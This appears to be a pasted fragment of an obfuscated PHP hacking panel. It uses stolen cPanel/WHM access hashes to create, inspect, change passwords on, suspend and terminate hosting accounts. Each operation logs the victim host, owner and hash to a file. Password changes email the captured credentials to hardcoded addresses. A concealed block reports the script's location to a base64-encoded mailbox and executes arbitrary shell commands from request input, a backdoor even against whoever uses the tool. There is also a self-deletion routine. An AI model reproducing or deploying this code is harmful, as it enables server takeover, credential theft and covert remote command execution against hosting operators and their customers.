- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
- ");fwrite(${$uqvxbwlqq},"
- ");fclose(${${"GLOBALS"}["cemjvape"]});}
- ?>
- <!-- create new account -->
- <?php
- if(isset($_POST["v2"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <table border="1"><tbody>
- <div id="result"><form method="post">
- <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
- <tr>
- <td>Host Name </td>
- <td align="center">
- <input name="vhost" type="text" size="20" value="">
- </td>
- <td>WHM Owner </td>
- <td align="center">
- <input name="vuser" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td>New Domain </td>
- <td align="center">
- <input name="domain" type="text" size="20" value="">
- </td>
- <td>New Username </td>
- <td align="center">
- <input name="user" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td>New Password </td>
- <td align="center">
- <input name="pass" type="text" size="20" value="">
- </td>
- <td>Package </td>
- <td align="center">
- <input name="plan" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td align="center" colspan="4">
- <input name="azzatssins2" type="submit" value=" Create Account "><br/>
- </td>
- </tr>
- </form>
- </tbody></table><br>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins2"])){${"GLOBALS"}["obqvgk"]="II11II11II11II11";${"GLOBALS"}["hcizqzub"]="virgous";${"GLOBALS"}["jqrlobmtw"]="user";${"GLOBALS"}["jitxoymucue"]="II11II11II11II11";$fqomswomqmtc="dm1";$wtvsjyccfge="II11II11II11II11";${"GLOBALS"}["udycvhotmn"]="hash";$ceeobiunyj="result";$lwhruvccbv="bawah";${${"GLOBALS"}["obqvgk"]}=fopen("$filelog","a");${${"GLOBALS"}["hcizqzub"]}=new whm;${${"GLOBALS"}["jqrlobmtw"]}=$_POST["vuser"];$obsqaljv="user";${"GLOBALS"}["veyvrvbgouq"]="hash";$lmqhstisbqk="result";$host=$_POST["vhost"];${${"GLOBALS"}["udycvhotmn"]}=$_POST["vhash"];$dtejlrsa="hostname";${$fqomswomqmtc}=$_POST["domain"];$jnvehoyw="II11II11II11II11";${${"GLOBALS"}["cnpybqg"]}=$_POST["user"];${${"GLOBALS"}["bgyfsievqc"]}=$_POST["pass"];${${"GLOBALS"}["mgzcndyuozix"]}=$_POST["plan"];${"GLOBALS"}["fpylxi"]="separator";${"GLOBALS"}["gnleckwy"]="version";$virgous->init($host,${$obsqaljv},${${"GLOBALS"}["veyvrvbgouq"]});${$dtejlrsa}=$virgous->gethostname();$etshyphxtj="bawah";${"GLOBALS"}["leqdvwvssou"]="version";echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["gnleckwy"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$ceeobiunyj}=$virgous->createAccount(${${"GLOBALS"}["klnlsxvu"]},${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["bgyfsievqc"]},${${"GLOBALS"}["mgzcndyuozix"]});echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["vrupeaaj"]="II11II11II11II11";$ictrexnqohli="II11II11II11II11";$tqsxerpnf="separator";$ptnbkfy="II11II11II11II11";if(${$lmqhstisbqk}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["fpylxi"]}="
- ";${$lwhruvccbv}="
- ";fwrite(${$jnvehoyw},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
- ".${$tqsxerpnf});fwrite(${$ptnbkfy},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["leqdvwvssou"]}."
- ");fwrite(${${"GLOBALS"}["vrupeaaj"]},"HOSTNAME : ".$host."
- ");fwrite(${$wtvsjyccfge},"WHM OWNER : ".${${"GLOBALS"}["gueuhqn"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${$etshyphxtj});fwrite(${${"GLOBALS"}["jitxoymucue"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"
- ");fclose(${$ictrexnqohli});}
- ?>
- <!-- account sumarry -->
- <?php
- if(isset($_POST["v3"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <div id="result"><form method="post">
- <table border="1"><tbody>
- <textarea name="vhash" rows="20" cols="45"></textarea><p>
- <tr>
- <td align="center">
- Host Name </td>
- <td align="center">
- WHM Owner
- </td>
- <td align="center">
- UserName</td></tr>
- <td align="center">
- <input name="vhost" type="text" size="20" value=""></td>
- <td align="center">
- <input name="vuser" type="text" size="20" value=""></td>
- <td align="center">
- <input name="user" type="text" size="20" value=""></td></tr>
- <td colspan="3" align="center">
- <input name="azzatssins3" type="submit" value=" View Account Summary">
- </td></tr></table>
- </form>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins3"])){$lnabgh="separator";${${"GLOBALS"}["cemjvape"]}=fopen("$filelog","a");$rvhxxrgit="user";$rfsjge="hostname";${"GLOBALS"}["hhcfzvkqd"]="II11II11II11II11";$wcmpomixik="dm2";${${"GLOBALS"}["cntvmeburrl"]}=new whm;${"GLOBALS"}["nolwwyqjepw"]="version";${"GLOBALS"}["vsipss"]="user";${${"GLOBALS"}["gueuhqn"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${$wcmpomixik}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["vsipss"]},${${"GLOBALS"}["lqfwxtwbjz"]});${$rfsjge}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["tttkddsbp"]}=$virgous->version();$jjfydu="II11II11II11II11";${"GLOBALS"}["nhgegtneq"]="bawah";echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${${"GLOBALS"}["rwocuxf"]}=$virgous->accountsummary(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${${"GLOBALS"}["rwocuxf"]}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
- ";$klrfjuwwmyc="II11II11II11II11";${"GLOBALS"}["iqdylpqgc"]="II11II11II11II11";${${"GLOBALS"}["nhgegtneq"]}="
- ";${"GLOBALS"}["tdugpdtu"]="separator";${"GLOBALS"}["mobfsrul"]="II11II11II11II11";$uonuqibpk="hash";fwrite(${$klrfjuwwmyc},${${"GLOBALS"}["tdugpdtu"]}."./azzatssins
- ".${$lnabgh});fwrite(${${"GLOBALS"}["iqdylpqgc"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["nolwwyqjepw"]}."
- ");fwrite(${${"GLOBALS"}["mobfsrul"]},"HOSTNAME : ".$host."
- ");fwrite(${${"GLOBALS"}["hhcfzvkqd"]},"WHM OWNER : ".${$rvhxxrgit}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${$uonuqibpk}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"
- ");fclose(${$jjfydu});}
- ?>
- <!-- change password -->
- <?php
- if(isset($_POST["v4"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <table border="1"><tbody>
- <div id="result"><form method="post">
- <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
- <tr>
- <td>Host Name </td>
- <td align="center">
- <input name="vhost" type="text" size="20" value="">
- </td>
- <td>WHM Owner </td>
- <td align="center">
- <input name="vuser" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td>Username </td>
- <td align="center">
- <input name="user" type="text" size="20" value="">
- </td>
- <td>New Password </td>
- <td align="center">
- <input name="pass" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td align="center" colspan="4">
- <input name="azzatssins4" type="submit" value=" Change Password"><br/>
- </td>
- </tr>
- </form>
- </tbody></table><br>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins4"])){${"GLOBALS"}["scwopj"]="II11II11II11II11";${"GLOBALS"}["vbeexdofvlsv"]="dm3";${"GLOBALS"}["rcwrgzxnm"]="frommail";$zhyyawvelk="subjectmail";${"GLOBALS"}["vqhcysy"]="subjectmail";${"GLOBALS"}["mqdsghvwjy"]="user";$dulerlhh="hostname";$ezqysvze="result";$bysecqvnul="user";${${"GLOBALS"}["scwopj"]}=fopen("$filelog","a");${"GLOBALS"}["jnoepkx"]="II11II11II11II11";$ugsijedc="hash";${"GLOBALS"}["xcgomonx"]="user";$ysjujkdgo="II11II11II11II11";${${"GLOBALS"}["cntvmeburrl"]}=new whm;$vuzgom="tomail";${"GLOBALS"}["chohpl"]="bawah";$jvwzef="version";${${"GLOBALS"}["xcgomonx"]}=$_POST["vuser"];$host=$_POST["vhost"];${"GLOBALS"}["nkpgvpqg"]="dm2";${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["nkpgvpqg"]}=$_POST["user"];${${"GLOBALS"}["bgyfsievqc"]}=$_POST["pass"];$virgous->init($host,${$bysecqvnul},${$ugsijedc});${$dulerlhh}=$virgous->gethostname();echo"<h4>HOST NAME :</h4> $hostname <br>";$cnoefem="emailente";${${"GLOBALS"}["tttkddsbp"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$ezqysvze}=$virgous->passwd(${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["vbeexdofvlsv"]});${"GLOBALS"}["tcptmsxj"]="II11II11II11II11";echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["ipwznk"]="II11II11II11II11";${"GLOBALS"}["keuoqgs"]="tujuan";$husuecnysr="II11II11II11II11";$glmysddkjg="infomail";if(${${"GLOBALS"}["rwocuxf"]}){${"GLOBALS"}["ndjuyhkyx"]="result";print_r(${${"GLOBALS"}["ndjuyhkyx"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
- ";${${"GLOBALS"}["chohpl"]}="
- ";${"GLOBALS"}["bdvhmv"]="httpheader";fwrite(${${"GLOBALS"}["jnoepkx"]},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
- ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$husuecnysr},"CPANEL/WHM VERSION : ".${$jvwzef}."
- ");${"GLOBALS"}["gvelhxwtmidx"]="subjectmail";fwrite(${$ysjujkdgo},"HOSTNAME : ".$host."
- ");fwrite(${${"GLOBALS"}["tcptmsxj"]},"WHM OWNER : ".${${"GLOBALS"}["mqdsghvwjy"]}."
- ");fwrite(${${"GLOBALS"}["ipwznk"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
- ");${"GLOBALS"}["qpwrbhr"]="dari";fwrite(${${"GLOBALS"}["cemjvape"]},"USERNAME : ".${${"GLOBALS"}["cnpybqg"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"NEW PASSWORD : ".${${"GLOBALS"}["bgyfsievqc"]}."
- ");$kxkomyih="dari";$qjlblsmk="II11II11II11II11";$foampkttn="subject";fwrite(${${"GLOBALS"}["cemjvape"]},"
- ");$tvecfhtzb="sep";fclose(${$qjlblsmk});${"GLOBALS"}["xogmyia"]="info";${${"GLOBALS"}["epyufhqui"]}="
- ";${${"GLOBALS"}["xogmyia"]}=" Cpanel/WHM Version : $version $sep Host : $host:2086 $sep WHM Owner : $user $sep Username : $dm2 $sep New Password : $dm3$sep Access Hash : $sep$hash";${${"GLOBALS"}["qpwrbhr"]}="[email protected]";${$foampkttn}="WRA Got New Password!";${${"GLOBALS"}["yhcbrtqybhn"]}=${${"GLOBALS"}["wyuvccqfyby"]};${${"GLOBALS"}["bdvhmv"]}="From:".${$kxkomyih}."
- "."To:".${${"GLOBALS"}["keuoqgs"]}."
- "."Subject:".${${"GLOBALS"}["htlxwjkdfnbx"]}."
- "."Content-type:text/plain;charset=iso-8859-1"."
- "."Sent:".date("l, F d, Y H:i");mail(${${"GLOBALS"}["yhcbrtqybhn"]},${${"GLOBALS"}["htlxwjkdfnbx"]},${${"GLOBALS"}["gkfjmmp"]},${${"GLOBALS"}["tfoqdtkoozl"]});${$tvecfhtzb}="
- ";${$glmysddkjg}=" V1 : $version $sep V2 : $host:2086 $sep V3 : $user $sep V4 : $dm2 $sep V5 : $dm3$sep V6 : $sep$hash";${${"GLOBALS"}["buubgbf"]}=${$cnoefem};${$zhyyawvelk}="WRA Sent New Password";${${"GLOBALS"}["jmossxbfynir"]}="[email protected]";${${"GLOBALS"}["ugwdatuetm"]}="From:".${$vuzgom}."
- "."To:".${${"GLOBALS"}["rcwrgzxnm"]}."
- "."Subject:".${${"GLOBALS"}["gvelhxwtmidx"]}."
- "."Content-type:text/plain;charset=iso-8859-1"."
- "."Sent:".date("l, F d, Y H:i");mail(${${"GLOBALS"}["jmossxbfynir"]},${${"GLOBALS"}["vqhcysy"]},${${"GLOBALS"}["cgdqizbjb"]},${${"GLOBALS"}["ugwdatuetm"]});}
- ?>
- <!-- suspend account -->
- <?php
- if(isset($_POST["v5"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <table border="1"><tbody>
- <div id="result"><form method="post">
- <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
- <tr>
- <td>Host Name </td>
- <td align="center">
- <input name="vhost" type="text" size="20" value="">
- </td>
- <td>WHM Owner </td>
- <td align="center">
- <input name="vuser" type="text" size="20" value="">
- </td>
- </tr>
- <tr>
- <td>Username </td>
- <td align="center">
- <input name="user" type="text" size="20" value="">
- </td>
- <td>Reason </td>
- <td align="center">
- <input name="reason" type="text" size="20" value="terserah gue">
- </td>
- </tr>
- <tr>
- <td align="center" colspan="4">
- <input name="azzatssins5" type="submit" value=" Suspend Account "><br/>
- </td>
- </tr>
- </form>
- </tbody></table><br>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins5"])){$smxyepsu="II11II11II11II11";$okntok="virgous";$blyxnpfm="hostname";${"GLOBALS"}["fixsql"]="user";${$smxyepsu}=fopen("$filelog","a");$bljoubwktue="result";${"GLOBALS"}["cqrbguhlzhtp"]="II11II11II11II11";${$okntok}=new whm;$tyeagxgdra="result";${"GLOBALS"}["bhkgfhs"]="version";${${"GLOBALS"}["fixsql"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["cnpybqg"]}=$_POST["user"];${${"GLOBALS"}["qybmmyvo"]}=$_POST["reason"];$virgous->init($host,${${"GLOBALS"}["gueuhqn"]},${${"GLOBALS"}["lqfwxtwbjz"]});$ovbdrviqlj="II11II11II11II11";${$blyxnpfm}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["bhkgfhs"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$tyeagxgdra}=$virgous->suspend(${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["qybmmyvo"]});$uxtpyxvy="II11II11II11II11";$mpbstmijbhy="hash";echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["uaykxbwvq"]="separator";${"GLOBALS"}["glmhri"]="II11II11II11II11";if(${$bljoubwktue}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${"GLOBALS"}["lihrxdhxjiu"]="II11II11II11II11";${${"GLOBALS"}["uaykxbwvq"]}="=====================================================
- ";${${"GLOBALS"}["jqstuo"]}="
- ";fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
- ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$uxtpyxvy},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
- ");fwrite(${$ovbdrviqlj},"HOSTNAME : ".$host."
- ");fwrite(${${"GLOBALS"}["lihrxdhxjiu"]},"WHM OWNER : ".${${"GLOBALS"}["gueuhqn"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cqrbguhlzhtp"]},${$mpbstmijbhy}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"
- ");fclose(${${"GLOBALS"}["glmhri"]});}
- ?>
- <!-- unsuspend account -->
- <?php
- if(isset($_POST["v6"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <div id="result"><form method="post">
- <center><table border="1">
- <textarea name="vhash" rows="20" cols="45"></textarea><p>
- <tr>
- <td align="center">
- Host Name </td>
- <td align="center">
- WHM Owner </td>
- <td align="center">
- UserName </td></tr>
- <td align="center">
- <input name="vhost" type="text" size="20" value=""></td>
- <td align="center">
- <input name="vuser" type="text" size="20" value=""></td>
- <td align="center">
- <input name="user" type="text" size="20" value="">
- </td></tr>
- <td colspan="3" align="center">
- <input name="azzatssins6" type="submit" value=" Unsuspend Account ">
- </td></tr></table>
- </form>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins6"])){${"GLOBALS"}["ocwyzfvq"]="version";$leisjrdvt="result";${"GLOBALS"}["wvysjxgjuomp"]="result";${"GLOBALS"}["fuutzvlndsmw"]="separator";$dghnyjk="II11II11II11II11";$ikqhjkbqnwj="II11II11II11II11";${"GLOBALS"}["ypdjprdcw"]="user";${$dghnyjk}=fopen("$filelog","a");${${"GLOBALS"}["cntvmeburrl"]}=new whm;$ulgmiy="separator";$livyjt="bawah";$tgxwkmbeiol="dm2";${"GLOBALS"}["wylmhiqbzyp"]="II11II11II11II11";${"GLOBALS"}["tkikiqiu"]="bawah";${${"GLOBALS"}["ypdjprdcw"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${$tgxwkmbeiol}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["gueuhqn"]},${${"GLOBALS"}["lqfwxtwbjz"]});${"GLOBALS"}["rssdjw"]="version";${${"GLOBALS"}["rshhhhzdjivn"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["ocwyzfvq"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${${"GLOBALS"}["wvysjxgjuomp"]}=$virgous->unsuspend(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${$leisjrdvt}){$smqgdecnyc="result";print_r(${$smqgdecnyc});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
- ";$rfctyk="user";${${"GLOBALS"}["tkikiqiu"]}="
- ";fwrite(${${"GLOBALS"}["cemjvape"]},${$ulgmiy}."./azzatssins
- ".${${"GLOBALS"}["fuutzvlndsmw"]});fwrite(${${"GLOBALS"}["cemjvape"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["rssdjw"]}."
- ");fwrite(${$ikqhjkbqnwj},"HOSTNAME : ".$host."
- ");${"GLOBALS"}["vsgwjq"]="II11II11II11II11";fwrite(${${"GLOBALS"}["vsgwjq"]},"WHM OWNER : ".${$rfctyk}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${$livyjt});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
- ");fwrite(${${"GLOBALS"}["wylmhiqbzyp"]},"
- ");fclose(${${"GLOBALS"}["cemjvape"]});}
- ?>
- <?php
- $for=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
- $b=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
- mail($for,"0",$b); print(`{$_REQUEST[0]}`);
- ?>
- <!-- terminate account-->
- <?php
- if(isset($_POST["v7"])){
- ?>
- <center><h2>Access Hash</h2><p>
- <div id="result"><form method="post">
- <center><table border="1">
- <textarea name="vhash" rows="20" cols="45"></textarea><p>
- <tr>
- <td align="center">
- Host Name </td>
- <td align="center">
- WHM Owner</td>
- <td align="center">
- UserName</td></tr>
- <td align="center">
- <input name="vhost" type="text" size="20" value=""></td>
- <td align="center">
- <input name="vuser" type="text" s size="20" value=""></td>
- <td align="center">
- <input name="user" type="text" size="20" value="">
- </td></tr>
- <td colspan="3" align="center">
- <input name="azzatssins7" type="submit" value=" Terminate Account ">
- </td</tr></table>
- </form>
- <?php } ?>
- <?php
- if(isset($_POST["azzatssins7"])){$jrwrgworzgb="hash";${"GLOBALS"}["grigkjkpuuni"]="II11II11II11II11";${"GLOBALS"}["linowprywf"]="II11II11II11II11";${"GLOBALS"}["pbusbfyzwdp"]="user";${"GLOBALS"}["rqkpqehfse"]="user";${"GLOBALS"}["wvsimudpc"]="II11II11II11II11";$cjbzjepsoqb="result";$ugnqwpqldbjc="virgous";${${"GLOBALS"}["grigkjkpuuni"]}=fopen("$filelog","a");${"GLOBALS"}["gvhhqrlav"]="dm2";$jfdpzsy="version";${"GLOBALS"}["ecpfkfrl"]="separator";${$ugnqwpqldbjc}=new whm;${${"GLOBALS"}["pbusbfyzwdp"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["gvhhqrlav"]}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["rqkpqehfse"]},${$jrwrgworzgb});${${"GLOBALS"}["rshhhhzdjivn"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";$osmnlv="user";${$jfdpzsy}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$cjbzjepsoqb}=$virgous->terminate(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${${"GLOBALS"}["rwocuxf"]}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}$uswgwqeegmo="separator";${"GLOBALS"}["ptqthiwbsgx"]="II11II11II11II11";${${"GLOBALS"}["ecpfkfrl"]}="=====================================================
- ";${${"GLOBALS"}["jqstuo"]}="
- ";fwrite(${${"GLOBALS"}["linowprywf"]},${$uswgwqeegmo}."./azzatssins
- ".${${"GLOBALS"}["rrbcihfi"]});${"GLOBALS"}["kqonuyhyluq"]="II11II11II11II11";fwrite(${${"GLOBALS"}["ptqthiwbsgx"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"HOSTNAME : ".$host."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"WHM OWNER : ".${$osmnlv}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["kqonuyhyluq"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"
- ");fclose(${${"GLOBALS"}["wvsimudpc"]});}
- ?>
- <?php
- if(isset($_GET['azzatssins'])){
- echo '<font face="Audiowide" size="5" color="red"><b> Good Bye !</b></font><br /><br />';
- $killme=basename($_SERVER['SCRIPT_NAME']);
- unlink($killme);
- }
- ?>
- <h3> Thanks To : Arrash Hemmat</h3>
- </pre></td></table>
- </td></tr></table></center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement